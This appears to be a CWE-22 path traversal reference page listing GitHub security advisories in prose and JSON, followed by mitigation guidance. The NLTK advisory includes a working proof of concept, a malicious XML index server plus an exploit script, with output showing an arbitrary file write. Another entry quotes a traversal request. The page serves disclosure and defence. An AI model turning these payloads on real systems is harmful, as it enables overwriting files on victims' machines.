CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13025 vulnerabilities reference this CWE, most recent first.
GHSA-45X3-MW7Q-WF7F
Vulnerability from github – Published: 2022-05-13 01:06 – Updated: 2024-01-10 19:31Studio 42 elFinder before 2.1.36 has a directory traversal vulnerability in elFinder.class.php with the zipdl() function that can allow a remote attacker to download files accessible by the web server process and delete files owned by the account running the web server process.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "studio-42/elfinder"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.36"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-9109"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2024-01-10T19:31:43Z",
"nvd_published_at": "2018-03-28T06:29:00Z",
"severity": "CRITICAL"
},
"details": "Studio 42 elFinder before 2.1.36 has a directory traversal vulnerability in `elFinder.class.php` with the `zipdl()` function that can allow a remote attacker to download files accessible by the web server process and delete files owned by the account running the web server process.",
"id": "GHSA-45x3-mw7q-wf7f",
"modified": "2024-01-10T19:31:43Z",
"published": "2022-05-13T01:06:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-9109"
},
{
"type": "WEB",
"url": "https://github.com/Studio-42/elFinder/commit/157f471d7e48f190f74e66eb5bc73360b5352fd3"
},
{
"type": "PACKAGE",
"url": "https://github.com/Studio-42/elFinder"
},
{
"type": "WEB",
"url": "https://github.com/Studio-42/elFinder/releases/tag/2.1.36"
},
{
"type": "WEB",
"url": "https://github.com/Studio-42/elFinder/wiki/Advisory-about-vulnerability-of-CVE-2018-9109-and-CVE-2018-9110"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "elFinder Path Traversal vulnerability"
}
GHSA-45XR-QRC8-762P
Vulnerability from github – Published: 2024-05-03 03:31 – Updated: 2024-05-03 03:31Honeywell Saia PG5 Controls Suite CAB File Parsing Directory Traversal Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Honeywell Saia PG5 Controls Suite. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.
The specific flaw exists within the parsing of CAB files. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-18592.
{
"affected": [],
"aliases": [
"CVE-2023-51603"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-03T03:16:21Z",
"severity": "HIGH"
},
"details": "Honeywell Saia PG5 Controls Suite CAB File Parsing Directory Traversal Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Honeywell Saia PG5 Controls Suite. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of CAB files. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-18592.",
"id": "GHSA-45xr-qrc8-762p",
"modified": "2024-05-03T03:31:08Z",
"published": "2024-05-03T03:31:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-51603"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-23-1852"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4636-45W3-PR9Q
Vulnerability from github – Published: 2023-01-31 00:30 – Updated: 2023-02-07 03:30A CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability exists that could allow an attacker to create or overwrite critical files that are used to execute code, such as programs or libraries and cause unauthenticated code execution. Affected Products: EcoStruxure Power Commission (Versions prior to V2.22)
{
"affected": [],
"aliases": [
"CVE-2022-0223"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-30T23:15:00Z",
"severity": "CRITICAL"
},
"details": "A CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability exists that could allow an attacker to create or overwrite critical files that are used to execute code, such as programs or libraries and cause unauthenticated code execution. Affected Products: EcoStruxure Power Commission (Versions prior to V2.22)",
"id": "GHSA-4636-45w3-pr9q",
"modified": "2023-02-07T03:30:23Z",
"published": "2023-01-31T00:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0223"
},
{
"type": "WEB",
"url": "https://download.schneider-electric.com/files?p_enDocType=Security+and+Safety+Notice\u0026p_File_Name=SEVD-2022-165-05_EcoStruxure_Power_Commission_Security_Notification.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4639-6CPQ-FRPG
Vulnerability from github – Published: 2022-05-01 07:32 – Updated: 2022-05-01 07:32Directory traversal vulnerability in index.php in FreeWebshop 2.2.2 and earlier allows remote attackers to read and include arbitrary files via a .. (dot dot) in the page parameter, a different vector than CVE-2006-5773.
{
"affected": [],
"aliases": [
"CVE-2006-5846"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2006-11-10T02:07:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in index.php in FreeWebshop 2.2.2 and earlier allows remote attackers to read and include arbitrary files via a .. (dot dot) in the page parameter, a different vector than CVE-2006-5773.",
"id": "GHSA-4639-6cpq-frpg",
"modified": "2022-05-01T07:32:22Z",
"published": "2022-05-01T07:32:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2006-5846"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/30125"
},
{
"type": "WEB",
"url": "http://marc.info/?l=bugtraq\u0026m=116303405916694\u0026w=2"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/22786"
},
{
"type": "WEB",
"url": "http://securitytracker.com/id?1017200"
},
{
"type": "WEB",
"url": "http://www.freewebshop.org/?id=28"
},
{
"type": "WEB",
"url": "http://www.freewebshop.org/index.php?id=28"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/20969"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2006/4420"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-463F-727W-PQP7
Vulnerability from github – Published: 2022-05-14 03:21 – Updated: 2022-05-14 03:21nmap version 6.49BETA6 through 7.60, up to and including SVN revision 37147 contains a Directory Traversal vulnerability in NSE script http-fetch that can result in file overwrite as the user is running it. This attack appears to be exploitable via a victim that runs NSE script http-fetch against a malicious web site. This vulnerability appears to have been fixed in 7.7.
{
"affected": [],
"aliases": [
"CVE-2018-1000161"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-04-18T19:29:00Z",
"severity": "MODERATE"
},
"details": "nmap version 6.49BETA6 through 7.60, up to and including SVN revision 37147 contains a Directory Traversal vulnerability in NSE script http-fetch that can result in file overwrite as the user is running it. This attack appears to be exploitable via a victim that runs NSE script http-fetch against a malicious web site. This vulnerability appears to have been fixed in 7.7.",
"id": "GHSA-463f-727w-pqp7",
"modified": "2022-05-14T03:21:36Z",
"published": "2022-05-14T03:21:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1000161"
},
{
"type": "WEB",
"url": "https://nmap.org/changelog.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-469J-VMHF-R6V7
Vulnerability from github – Published: 2026-03-19 12:42 – Updated: 2026-03-25 18:21Vulnerability Description
The NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to:
- Arbitrary Directory Creation: Create directories at arbitrary locations in the file system
- Arbitrary File Creation: Create arbitrary files
- Arbitrary File Overwrite: Overwrite critical system files (such as
/etc/passwd,~/.ssh/authorized_keys, etc.)
Vulnerability Principle
Key Code Locations
1. XML Parsing Without Validation (nltk/downloader.py:253)
self.filename = os.path.join(subdir, id + ext)
subdirandidare directly from XML attributes without any validation
2. Path Construction Without Checks (nltk/downloader.py:679)
filepath = os.path.join(download_dir, info.filename)
- Directly uses
filenamewhich may contain path traversal
3. Unrestricted Directory Creation (nltk/downloader.py:687)
os.makedirs(os.path.join(download_dir, info.subdir), exist_ok=True)
- Can create arbitrary directories outside the download directory
4. File Writing Without Protection (nltk/downloader.py:695)
with open(filepath, "wb") as outfile:
- Can write to arbitrary locations in the file system
Attack Chain
1. Attacker controls remote XML index server
↓
2. Provides malicious XML: <package id="passwd" subdir="../../etc" .../>
↓
3. Victim executes: downloader.download('passwd')
↓
4. Package.fromxml() creates object, filename = "../../etc/passwd.zip"
↓
5. _download_package() constructs path: download_dir + "../../etc/passwd.zip"
↓
6. os.makedirs() creates directory: download_dir + "../../etc"
↓
7. open(filepath, "wb") writes file to /etc/passwd.zip
↓
8. System file is overwritten!
Impact Scope
- System File Overwrite
Reproduction Steps
Environment Setup
- Install NLTK
pip install nltk
- Prepare malicious server and exploit script (see PoC section)
Reproduction Process
Step 1: Start malicious server
python3 malicious_server.py
Step 2: Run exploit script
python3 exploit_vulnerability.py
Step 3: Verify results
ls -la /tmp/test_file.zip
Proof of Concept
Malicious Server (malicious_server.py)
#!/usr/bin/env python3
"""Malicious HTTP Server - Provides XML index with path traversal"""
import os
import tempfile
import zipfile
from http.server import HTTPServer, BaseHTTPRequestHandler
# Create temporary directory
server_dir = tempfile.mkdtemp(prefix="nltk_malicious_")
# Create malicious XML (contains path traversal)
malicious_xml = """<?xml version="1.0"?>
<nltk_data>
<packages>
<package id="test_file" subdir="../../../../../../../../../tmp"
url="http://127.0.0.1:8888/test.zip"
size="100" unzipped_size="100" unzip="0"/>
</packages>
</nltk_data>
"""
# Save files
with open(os.path.join(server_dir, "malicious_index.xml"), "w") as f:
f.write(malicious_xml)
with zipfile.ZipFile(os.path.join(server_dir, "test.zip"), "w") as zf:
zf.writestr("test.txt", "Path traversal attack!")
# HTTP Handler
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == '/malicious_index.xml':
self.send_response(200)
self.send_header('Content-type', 'application/xml')
self.end_headers()
with open(os.path.join(server_dir, 'malicious_index.xml'), 'rb') as f:
self.wfile.write(f.read())
elif self.path == '/test.zip':
self.send_response(200)
self.send_header('Content-type', 'application/zip')
self.end_headers()
with open(os.path.join(server_dir, 'test.zip'), 'rb') as f:
self.wfile.write(f.read())
else:
self.send_response(404)
self.end_headers()
def log_message(self, format, *args):
pass
# Start server
if __name__ == "__main__":
port = 8888
server = HTTPServer(("0.0.0.0", port), Handler)
print(f"Malicious server started: http://127.0.0.1:{port}/malicious_index.xml")
print("Press Ctrl+C to stop")
try:
server.serve_forever()
except KeyboardInterrupt:
print("\nServer stopped")
Exploit Script (exploit_vulnerability.py)
#!/usr/bin/env python3
"""AFO Vulnerability Exploit Script"""
import os
import tempfile
def exploit(server_url="http://127.0.0.1:8888/malicious_index.xml"):
download_dir = tempfile.mkdtemp(prefix="nltk_exploit_")
print(f"Download directory: {download_dir}")
# Exploit vulnerability
from nltk.downloader import Downloader
downloader = Downloader(server_index_url=server_url, download_dir=download_dir)
downloader.download("test_file", quiet=True)
# Check results
expected_path = "/tmp/test_file.zip"
if os.path.exists(expected_path):
print(f"\n✗ Exploit successful! File written to: {expected_path}")
print(f"✗ Path traversal attack successful!")
else:
print(f"\n? File not found, download may have failed")
if __name__ == "__main__":
exploit()
Execution Results
✗ Exploit successful! File written to: /tmp/test_file.zip
✗ Path traversal attack successful!
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "nltk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.9.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33236"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-19T12:42:42Z",
"nvd_published_at": "2026-03-20T23:16:47Z",
"severity": "HIGH"
},
"details": "## Vulnerability Description\n\nThe NLTK downloader does not validate the `subdir` and `id` attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as `../`), which can lead to:\n\n1. **Arbitrary Directory Creation**: Create directories at arbitrary locations in the file system\n2. **Arbitrary File Creation**: Create arbitrary files\n3. **Arbitrary File Overwrite**: Overwrite critical system files (such as `/etc/passwd`, `~/.ssh/authorized_keys`, etc.)\n\n## Vulnerability Principle\n\n### Key Code Locations\n\n**1. XML Parsing Without Validation** (`nltk/downloader.py:253`)\n```python\nself.filename = os.path.join(subdir, id + ext)\n```\n- `subdir` and `id` are directly from XML attributes without any validation\n\n**2. Path Construction Without Checks** (`nltk/downloader.py:679`)\n```python\nfilepath = os.path.join(download_dir, info.filename)\n```\n- Directly uses `filename` which may contain path traversal\n\n**3. Unrestricted Directory Creation** (`nltk/downloader.py:687`)\n```python\nos.makedirs(os.path.join(download_dir, info.subdir), exist_ok=True)\n```\n- Can create arbitrary directories outside the download directory\n\n**4. File Writing Without Protection** (`nltk/downloader.py:695`)\n```python\nwith open(filepath, \"wb\") as outfile:\n```\n- Can write to arbitrary locations in the file system\n\n### Attack Chain\n\n```\n1. Attacker controls remote XML index server\n \u2193\n2. Provides malicious XML: \u003cpackage id=\"passwd\" subdir=\"../../etc\" .../\u003e\n \u2193\n3. Victim executes: downloader.download(\u0027passwd\u0027)\n \u2193\n4. Package.fromxml() creates object, filename = \"../../etc/passwd.zip\"\n \u2193\n5. _download_package() constructs path: download_dir + \"../../etc/passwd.zip\"\n \u2193\n6. os.makedirs() creates directory: download_dir + \"../../etc\"\n \u2193\n7. open(filepath, \"wb\") writes file to /etc/passwd.zip\n \u2193\n8. System file is overwritten!\n```\n\n## Impact Scope\n1. **System File Overwrite**\n\n## Reproduction Steps\n\n### Environment Setup\n\n1. Install NLTK\n```bash\npip install nltk\n```\n\n2. Prepare malicious server and exploit script (see PoC section)\n\n### Reproduction Process\n\n**Step 1: Start malicious server**\n```bash\npython3 malicious_server.py\n```\n\n**Step 2: Run exploit script**\n```bash\npython3 exploit_vulnerability.py\n```\n\n**Step 3: Verify results**\n```bash\nls -la /tmp/test_file.zip\n```\n\n## Proof of Concept\n\n### Malicious Server (malicious_server.py)\n\n```python\n#!/usr/bin/env python3\n\"\"\"Malicious HTTP Server - Provides XML index with path traversal\"\"\"\nimport os\nimport tempfile\nimport zipfile\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\n# Create temporary directory\nserver_dir = tempfile.mkdtemp(prefix=\"nltk_malicious_\")\n\n# Create malicious XML (contains path traversal)\nmalicious_xml = \"\"\"\u003c?xml version=\"1.0\"?\u003e\n\u003cnltk_data\u003e\n \u003cpackages\u003e\n \u003cpackage id=\"test_file\" subdir=\"../../../../../../../../../tmp\" \n url=\"http://127.0.0.1:8888/test.zip\" \n size=\"100\" unzipped_size=\"100\" unzip=\"0\"/\u003e\n \u003c/packages\u003e\n\u003c/nltk_data\u003e\n\"\"\"\n\n# Save files\nwith open(os.path.join(server_dir, \"malicious_index.xml\"), \"w\") as f:\n f.write(malicious_xml)\n\nwith zipfile.ZipFile(os.path.join(server_dir, \"test.zip\"), \"w\") as zf:\n zf.writestr(\"test.txt\", \"Path traversal attack!\")\n\n# HTTP Handler\nclass Handler(BaseHTTPRequestHandler):\n def do_GET(self):\n if self.path == \u0027/malicious_index.xml\u0027:\n self.send_response(200)\n self.send_header(\u0027Content-type\u0027, \u0027application/xml\u0027)\n self.end_headers()\n with open(os.path.join(server_dir, \u0027malicious_index.xml\u0027), \u0027rb\u0027) as f:\n self.wfile.write(f.read())\n elif self.path == \u0027/test.zip\u0027:\n self.send_response(200)\n self.send_header(\u0027Content-type\u0027, \u0027application/zip\u0027)\n self.end_headers()\n with open(os.path.join(server_dir, \u0027test.zip\u0027), \u0027rb\u0027) as f:\n self.wfile.write(f.read())\n else:\n self.send_response(404)\n self.end_headers()\n \n def log_message(self, format, *args):\n pass\n\n# Start server\nif __name__ == \"__main__\":\n port = 8888\n server = HTTPServer((\"0.0.0.0\", port), Handler)\n print(f\"Malicious server started: http://127.0.0.1:{port}/malicious_index.xml\")\n print(\"Press Ctrl+C to stop\")\n try:\n server.serve_forever()\n except KeyboardInterrupt:\n print(\"\\nServer stopped\")\n```\n\n### Exploit Script (exploit_vulnerability.py)\n\n```python\n#!/usr/bin/env python3\n\"\"\"AFO Vulnerability Exploit Script\"\"\"\nimport os\nimport tempfile\n\ndef exploit(server_url=\"http://127.0.0.1:8888/malicious_index.xml\"):\n download_dir = tempfile.mkdtemp(prefix=\"nltk_exploit_\")\n print(f\"Download directory: {download_dir}\")\n \n # Exploit vulnerability\n from nltk.downloader import Downloader\n downloader = Downloader(server_index_url=server_url, download_dir=download_dir)\n downloader.download(\"test_file\", quiet=True)\n \n # Check results\n expected_path = \"/tmp/test_file.zip\"\n if os.path.exists(expected_path):\n print(f\"\\n\u2717 Exploit successful! File written to: {expected_path}\")\n print(f\"\u2717 Path traversal attack successful!\")\n else:\n print(f\"\\n? File not found, download may have failed\")\n\nif __name__ == \"__main__\":\n exploit()\n```\n\n### Execution Results\n\n```\n\u2717 Exploit successful! File written to: /tmp/test_file.zip\n\u2717 Path traversal attack successful!\n```",
"id": "GHSA-469j-vmhf-r6v7",
"modified": "2026-03-25T18:21:27Z",
"published": "2026-03-19T12:42:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-469j-vmhf-r6v7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33236"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite"
}
GHSA-46C3-XC8J-9QG7
Vulnerability from github – Published: 2022-05-14 02:57 – Updated: 2022-05-14 02:57cgit_clone_objects in CGit before 1.2.1 has a directory traversal vulnerability when enable-http-clone=1 is not turned off, as demonstrated by a cgit/cgit.cgi/git/objects/?path=../ request.
{
"affected": [],
"aliases": [
"CVE-2018-14912"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-08-03T19:29:00Z",
"severity": "HIGH"
},
"details": "cgit_clone_objects in CGit before 1.2.1 has a directory traversal vulnerability when `enable-http-clone=1` is not turned off, as demonstrated by a cgit/cgit.cgi/git/objects/?path=../ request.",
"id": "GHSA-46c3-xc8j-9qg7",
"modified": "2022-05-14T02:57:54Z",
"published": "2022-05-14T02:57:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-14912"
},
{
"type": "WEB",
"url": "https://bugs.chromium.org/p/project-zero/issues/detail?id=1627"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2018/08/msg00005.html"
},
{
"type": "WEB",
"url": "https://lists.zx2c4.com/pipermail/cgit/2018-August/004176.html"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2018/dsa-4263"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/45195"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-46CR-655V-R7WG
Vulnerability from github – Published: 2022-05-14 01:41 – Updated: 2022-05-14 01:41Directory traversal vulnerability in Cybozu Remote Service 3.0.0 to 3.1.8 for Windows allows remote authenticated attackers to read arbitrary files via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2018-16170"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-01-09T23:29:00Z",
"severity": "HIGH"
},
"details": "Directory traversal vulnerability in Cybozu Remote Service 3.0.0 to 3.1.8 for Windows allows remote authenticated attackers to read arbitrary files via unspecified vectors.",
"id": "GHSA-46cr-655v-r7wg",
"modified": "2022-05-14T01:41:11Z",
"published": "2022-05-14T01:41:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-16170"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN23161885/index.html"
},
{
"type": "WEB",
"url": "https://kb.cybozu.support/article/34301"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-46F2-3V63-3XRP
Vulnerability from github – Published: 2021-05-06 15:01 – Updated: 2022-08-15 20:01There is an unintentional directory creation vulnerability in tmpdir library bundled with Ruby on Windows. And there is also an unintentional file creation vulnerability in tempfile library bundled with Ruby on Windows, because it uses tmpdir internally.
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "tmpdir"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-28966"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-06T15:01:12Z",
"nvd_published_at": "2021-07-30T14:15:00Z",
"severity": "HIGH"
},
"details": "There is an unintentional directory creation vulnerability in `tmpdir` library bundled with Ruby on Windows. And there is also an unintentional file creation vulnerability in tempfile library bundled with Ruby on Windows, because it uses tmpdir internally. \n",
"id": "GHSA-46f2-3v63-3xrp",
"modified": "2022-08-15T20:01:42Z",
"published": "2021-05-06T15:01:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-28966"
},
{
"type": "WEB",
"url": "https://github.com/ruby/tmpdir/pull/8"
},
{
"type": "WEB",
"url": "https://github.com/ruby/tmpdir/commit/93798c01cb7c10476e50a4d80130a329ba47f348"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1131465"
},
{
"type": "PACKAGE",
"url": "https://github.com/ruby/tmpdir"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/tmpdir/CVE-2021-28966.yml"
},
{
"type": "WEB",
"url": "https://rubygems.org/gems/tmpdir"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20210902-0004"
},
{
"type": "WEB",
"url": "https://www.ruby-lang.org/en/news/2021/04/05/tempfile-path-traversal-on-windows-cve-2021-28966"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Tempfile on Windows path traversal vulnerability"
}
GHSA-46F9-Q7P3-MPH9
Vulnerability from github – Published: 2025-05-29 21:31 – Updated: 2025-05-29 21:31A vulnerability was found in chshcms mccms 2.7. It has been declared as critical. This vulnerability affects the function restore_del of the file /sys/apps/controllers/admin/Backups.php. The manipulation of the argument dirs leads to path traversal. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2025-5328"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-29T21:15:26Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in chshcms mccms 2.7. It has been declared as critical. This vulnerability affects the function restore_del of the file /sys/apps/controllers/admin/Backups.php. The manipulation of the argument dirs leads to path traversal. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-46f9-q7p3-mph9",
"modified": "2025-05-29T21:31:37Z",
"published": "2025-05-29T21:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5328"
},
{
"type": "WEB",
"url": "https://github.com/caigo8/CVE-md/blob/main/Mccms_V2.7/%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%88%A0%E9%99%A4.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.310498"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.310498"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.582297"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
